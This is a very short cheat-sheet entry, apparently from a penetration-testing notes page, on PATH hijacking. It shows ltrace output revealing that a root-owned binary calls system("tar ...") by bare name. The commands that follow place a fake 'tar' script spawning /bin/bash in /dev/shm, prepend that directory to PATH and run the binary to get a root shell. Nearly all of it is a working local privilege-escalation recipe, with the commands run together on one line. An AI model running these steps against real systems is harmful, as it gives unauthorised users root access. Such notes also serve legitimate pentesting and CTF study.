Path Hijacking
A service or a program that is run or is owned by root
PATH hijacking
ltrace ./binary <SNIP> system("tar -cvf /root/file") <SNIP>cd /dev/shm export PATH=/dev/shm:$PATH echo -e "#!/bin/bash\n/bin/bash" > tar chmod +x tar./binary
Last updated